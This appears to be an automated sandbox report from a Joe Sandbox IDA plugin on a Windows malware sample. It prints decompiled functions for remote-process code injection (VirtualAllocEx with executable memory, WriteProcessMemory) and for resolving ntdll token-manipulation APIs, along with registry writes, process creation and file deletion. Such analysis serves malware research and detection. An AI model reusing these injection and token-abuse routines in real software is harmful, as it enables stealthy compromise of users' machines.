Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4);
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t37 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40);
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
							if(WriteProcessMemory(_a8, _t37, _v8, _t26, 0) != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,?), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,?), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Strings

Mt, xrefs: 0040638F

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID: Mt
API String ID: 1965334864-2848310829
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 006C65CC, Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 006C65DF
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 006C65F9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 006C661A
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 006C663B

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction ID: c5fcd8ab19e98854fd8529d7c740ee4c6f62f1b97bae9b517b032e8daee409c5
Opcode Fuzzy Hash: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction Fuzzy Hash: 00117371600218BFDB619F66DC49FEB3FA9EB047A9F114028F909E7290D7B1DD0086A8

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32 ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004088B0(intOrPtr _a4) {
				intOrPtr _t98;
				void* _t99;
				intOrPtr _t101;

				_t101 = _a4;
				E0040EE2A(_t99, _t101, 0, 0x3e0);
				 *((intOrPtr*)(_t101 + 0xc0)) = __imp__#19;
				 *((intOrPtr*)(_t101 + 0xc4)) = __imp__#16;
				 *((intOrPtr*)(_t101 + 0xc8)) = __imp__#23;
				 *((intOrPtr*)(_t101 + 0xcc)) = __imp__#4;
				 *((intOrPtr*)(_t101 + 0xd0)) = __imp__#3;
				 *((intOrPtr*)(_t101 + 0xd4)) = __imp__#21;
				 *((intOrPtr*)(_t101 + 0xd8)) = __imp__#2;
				 *((intOrPtr*)(_t101 + 0xdc)) = __imp__#13;
				 *((intOrPtr*)(_t101 + 0xe0)) = __imp__#1;
				 *((intOrPtr*)(_t101 + 0xe4)) = __imp__#18;
				 *((intOrPtr*)(_t101 + 0xe8)) = __imp__#5;
				_t98 = __imp__#6;
				 *((intOrPtr*)(_t101 + 0x10)) = E00404861;
				 *((intOrPtr*)(_t101 + 0x14)) = E00405B84;
				 *((intOrPtr*)(_t101 + 0x18)) = E00404EF2;
				 *((intOrPtr*)(_t101 + 8)) = 0;
				 *((intOrPtr*)(_t101 + 0xc)) = 0;
				 *((intOrPtr*)(_t101 + 0x1c)) = E004038F0;
				 *((intOrPtr*)(_t101 + 0x20)) = E0040384F;
				 *((intOrPtr*)(_t101 + 0x134)) = E004035A5;
				 *((intOrPtr*)(_t101 + 0x24)) = E00408EC5;
				 *((intOrPtr*)(_t101 + 0x28)) = E00408EFA;
				 *((intOrPtr*)(_t101 + 0x2c)) = E00408F28;
				 *((intOrPtr*)(_t101 + 0x30)) = E00408F53;
				 *((intOrPtr*)(_t101 + 0x34)) = E004022B9;
				 *((intOrPtr*)(_t101 + 0x38)) = E004025B4;
				 *((intOrPtr*)(_t101 + 0x3c)) = E00408F87;
				 *((intOrPtr*)(_t101 + 0x54)) = E0040AD89;
				 *((intOrPtr*)(_t101 + 0x58)) = E0040B211;
				 *((intOrPtr*)(_t101 + 0x5c)) = E0040AEDD;
				 *((intOrPtr*)(_t101 + 0x60)) = E0040F304;
				 *((intOrPtr*)(_t101 + 0x64)) = E0040F428;
				 *((intOrPtr*)(_t101 + 0x68)) = E0040F43E;
				 *((intOrPtr*)(_t101 + 0x6c)) = E0040F483;
				 *((intOrPtr*)(_t101 + 0x70)) = 0x412104;
				 *((intOrPtr*)(_t101 + 0x74)) = E0040F26D;
				 *((intOrPtr*)(_t101 + 0x78)) = E0040F315;
				 *((intOrPtr*)(_t101 + 0x7c)) = E0040E52E;
				 *((intOrPtr*)(_t101 + 0x80)) = E0040E318;
				 *((intOrPtr*)(_t101 + 0x84)) = E0040EAAF;
				 *((intOrPtr*)(_t101 + 0x88)) = E0040E7B4;
				 *((intOrPtr*)(_t101 + 0x8c)) = E0040DD05;
				 *((intOrPtr*)(_t101 + 0x90)) = E0040E7FF;
				 *((intOrPtr*)(_t101 + 0x94)) = E0040DD69;
				 *((intOrPtr*)(_t101 + 0x98)) = E0040E819;
				 *((intOrPtr*)(_t101 + 0x9c)) = E0040E854;
				 *((intOrPtr*)(_t101 + 0xa0)) = E0040E8A1;
				 *((intOrPtr*)(_t101 + 0xa4)) = E0040EA84;
				 *((intOrPtr*)(_t101 + 0xa8)) = E0040DF4C;
				 *((intOrPtr*)(_t101 + 0xac)) = E0040DF70;
				 *((intOrPtr*)(_t101 + 0xb0)) = E0040E654;
				 *((intOrPtr*)(_t101 + 0xb4)) = E0040E749;
				 *((intOrPtr*)(_t101 + 0xb8)) = E004030B5;
				 *((intOrPtr*)(_t101 + 0xbc)) = 0;
				 *((intOrPtr*)(_t101 + 0xec)) = _t98;
				 *((intOrPtr*)(_t101 + 0xf0)) = E00402684;
				 *((intOrPtr*)(_t101 + 0xf4)) = E004026B2;
				 *((intOrPtr*)(_t101 + 0xf8)) = E00402EF8;
				 *((intOrPtr*)(_t101 + 0xfc)) = E00402F22;
				 *((intOrPtr*)(_t101 + 0x100)) = 0;
				 *((intOrPtr*)(_t101 + 0x104)) = 0;
				 *((intOrPtr*)(_t101 + 0x108)) = 0;
				 *((intOrPtr*)(_t101 + 0x10c)) = 0;
				 *((intOrPtr*)(_t101 + 0x110)) = 0;
				 *((intOrPtr*)(_t101 + 0x114)) = E0040A7C1;
				 *((intOrPtr*)(_t101 + 0x118)) = E00401FEB;
				 *((intOrPtr*)(_t101 + 0x11c)) = 0x401ffe;
				 *((intOrPtr*)(_t101 + 0x138)) = E00406509;
				 *((intOrPtr*)(_t101 + 0x140)) = E00405D34;
				 *((intOrPtr*)(_t101 + 0x144)) = E00405C05;
				 *((intOrPtr*)(_t101 + 0x148)) = E00405D93;
				 *((intOrPtr*)(_t101 + 0x14c)) = E00405E37;
				 *((intOrPtr*)(_t101 + 0x150)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x154)) = E00405E21;
				 *((intOrPtr*)(_t101 + 0x158)) = E00405CE1;
				 *((intOrPtr*)(_t101 + 0x15c)) = E00405DED;
				 *((intOrPtr*)(_t101 + 0x160)) = E00404EFD;
				 *((intOrPtr*)(_t101 + 0x164)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x168)) = E0040488C;
				 *((intOrPtr*)(_t101 + 0x174)) = E00404F13;
				 *((intOrPtr*)(_t101 + 0x178)) = E00404F50;
				 *((intOrPtr*)(_t101 + 0x17c)) = E004082BB;
				 *((intOrPtr*)(_t101 + 0x180)) = E004082C1;
				 *((intOrPtr*)(_t101 + 0x184)) = 0x4082c7;
				 *((intOrPtr*)(_t101 + 0x188)) = 0x408308;
				return _t98;
			}

0x004088b1
0x004088bf
0x004088c9
0x004088d4
0x004088df
0x004088ea
0x004088f5
0x00408900
0x0040890b
0x00408916
0x00408921
0x0040892c
0x00408937
0x0040893d
0x00408945
0x0040894c
0x00408953
0x0040895a
0x0040895d
0x00408960
0x00408967
0x0040896e
0x00408978
0x0040897f
0x00408986
0x0040898d
0x00408994
0x0040899b
0x004089a2
0x004089a9
0x004089b0
0x004089b7
0x004089be
0x004089c5
0x004089cc
0x004089d3
0x004089da
0x004089e1
0x004089e8
0x004089ef
0x004089f6
0x00408a00
0x00408a0a
0x00408a14
0x00408a1e
0x00408a28
0x00408a32
0x00408a3c
0x00408a46
0x00408a50
0x00408a5a
0x00408a64
0x00408a6e
0x00408a78
0x00408a82
0x00408a8c
0x00408a92
0x00408a98
0x00408aa2
0x00408aac
0x00408ab6
0x00408ac0
0x00408ac6
0x00408acc
0x00408ad2
0x00408ad8
0x00408adf
0x00408ae9
0x00408af3
0x00408afd
0x00408b07
0x00408b11
0x00408b1b
0x00408b25
0x00408b2f
0x00408b39
0x00408b43
0x00408b4d
0x00408b57
0x00408b61
0x00408b6b
0x00408b75
0x00408b7f
0x00408b89
0x00408b93
0x00408b9d
0x00408ba7
0x00408bb2

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

Uniqueness

Uniqueness Score: -1.00%

Function 006C9E89, Relevance: 59.9, APIs: 28, Strings: 6, Instructions: 421stringregistryfileCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 006C9E56
lstrcpy.KERNEL32(?,00000000), ref: 006C9FCA
lstrcat.KERNEL32(?,?), ref: 006C9FDB
lstrcat.KERNEL32(?,0041070C), ref: 006C9FED
GetFileAttributesExA.KERNEL32(?,?,?), ref: 006CA03D
DeleteFileA.KERNEL32(?), ref: 006CA088
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 006CA0BF
lstrcpy.KERNEL32 ref: 006CA118
lstrlen.KERNEL32(00000022), ref: 006CA125
GetTempPathA.KERNEL32(000001F4,?), ref: 006C9EFC

Part of subcall function 006C7012: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000), ref: 006C706A

Part of subcall function 006C6F19: GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\vtqrbmxo,006C702C), ref: 006C6F37
Part of subcall function 006C6F19: GetProcAddress.KERNEL32(00000000), ref: 006C6F3E
Part of subcall function 006C6F19: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 006C6F64
Part of subcall function 006C6F19: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 006C6F7B

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,?,00000103,?,?,?,?), ref: 006CA18B
RegSetValueExA.ADVAPI32(?,00000001,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 006CA1AE
GetModuleHandleA.KERNEL32(?,?,00000104,?,?,00000010,?,?,00000044,?,?,?,?,?,?,00000103), ref: 006CA1FD
GetModuleFileNameA.KERNEL32(00000000,?,?,00000104,?,?,00000010,?,?,00000044), ref: 006CA204
GetDriveTypeA.KERNEL32(?), ref: 006CA24E
lstrcat.KERNEL32(?,00000000), ref: 006CA288
lstrcat.KERNEL32(?,00410A34), ref: 006CA2AE
lstrcat.KERNEL32(?,00000022), ref: 006CA2C2
lstrcat.KERNEL32(?,00410A34), ref: 006CA2DD
wsprintfA.USER32 ref: 006CA306
lstrcat.KERNEL32(?,00000000), ref: 006CA32E
lstrcat.KERNEL32(?,?), ref: 006CA34D
CreateProcessA.KERNEL32(?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?,?,00000010), ref: 006CA370
DeleteFileA.KERNEL32(?,?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?), ref: 006CA381
RegCloseKey.ADVAPI32(?,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 006CA1BA

Part of subcall function 006C994F: RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 006C9986
Part of subcall function 006C994F: RegDeleteValueA.ADVAPI32(?,00000000), ref: 006C99A6
Part of subcall function 006C994F: RegCloseKey.ADVAPI32(?), ref: 006C99AF

GetModuleHandleA.KERNEL32(?,?,0000012C), ref: 006CA3C4
GetModuleFileNameA.KERNEL32(00000000,?,?,0000012C), ref: 006CA3CB
GetDriveTypeA.KERNEL32(00000022), ref: 006CA406

Strings

\, xrefs: 006C9F5C
", xrefs: 006CA3D9
", xrefs: 006CA12B
P, xrefs: 006C9FFA
D, xrefs: 006CA1DE
", xrefs: 006CA2C8

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: lstrcat$FileModule$DeleteHandle$CloseDirectoryDriveNameOpenProcessTypeValuelstrcpy$AddressAttributesCreateEnvironmentExitInformationPathProcSystemTempVariableVolumeWindowslstrlenwsprintf
String ID: "$"$"$D$P$\
API String ID: 1653845638-2605685093
Opcode ID: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction ID: 9f7b8df365e7716a1f531a83e6493d8450e380273170314c4fc783dd58f6dc1b
Opcode Fuzzy Hash: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction Fuzzy Hash: 0CF14FB1D4025DAFDB11DBA09C49FFE7BBDEB08304F0484AEE609E2141DB758A858F65

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

RtlSetLastWin32Error, xrefs: 004010D6
NtOpenProcessToken, xrefs: 004011D4
NtClose, xrefs: 004011B4
NtSetInformationThread, xrefs: 00401155
NtTerminateProcess, xrefs: 004010F6
NtSetInformationToken, xrefs: 00401175
RtlLengthSid, xrefs: 00401246
NtFilterToken, xrefs: 0040122B
RtlNtStatusToDosError, xrefs: 00401194
RtlAllocateAndInitializeSid, xrefs: 0040120F
NtQueryInformationToken, xrefs: 00401262
RtlInitUnicodeString, xrefs: 00401135
NtDuplicateToken, xrefs: 004011F3
RtlFreeSid, xrefs: 00401116
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
ntdll.dll, xrefs: 0040100D

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042C44E, Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0042C492
_wcscat_s.LIBCMTD ref: 0042C6AA

Part of subcall function 00432230: __invalid_parameter.LIBCMTD ref: 004322A2

__invoke_watson_if_error.LIBCMTD ref: 0042C6B3

Part of subcall function 0041DF60: __invoke_watson.LIBCMTD ref: 0041DF81

_wcscat_s.LIBCMTD ref: 0042C6E2

Part of subcall function 00432230: _memset.LIBCMT ref: 0043230B
Part of subcall function 00432230: __invalid_parameter.LIBCMTD ref: 00432367

__invoke_watson_if_error.LIBCMTD ref: 0042C6EB
__invoke_watson_if_oneof.LIBCMTD ref: 0042C77D
_wcscpy_s.LIBCMTD ref: 0042C7C2
__invoke_watson_if_error.LIBCMTD ref: 0042C7CB
__cftoe.LIBCMTD ref: 0042C83F
__invoke_watson_if_oneof.LIBCMTD ref: 0042C86E
_wcscpy_s.LIBCMTD ref: 0042C8A6
__invoke_watson_if_error.LIBCMTD ref: 0042C8AF
__itow_s.LIBCMTD ref: 0042C489

Part of subcall function 00436D30: _xtow_s@20.LIBCMTD ref: 00436D5B

__strftime_l.LIBCMTD ref: 0042C549
__invoke_watson_if_oneof.LIBCMTD ref: 0042C582
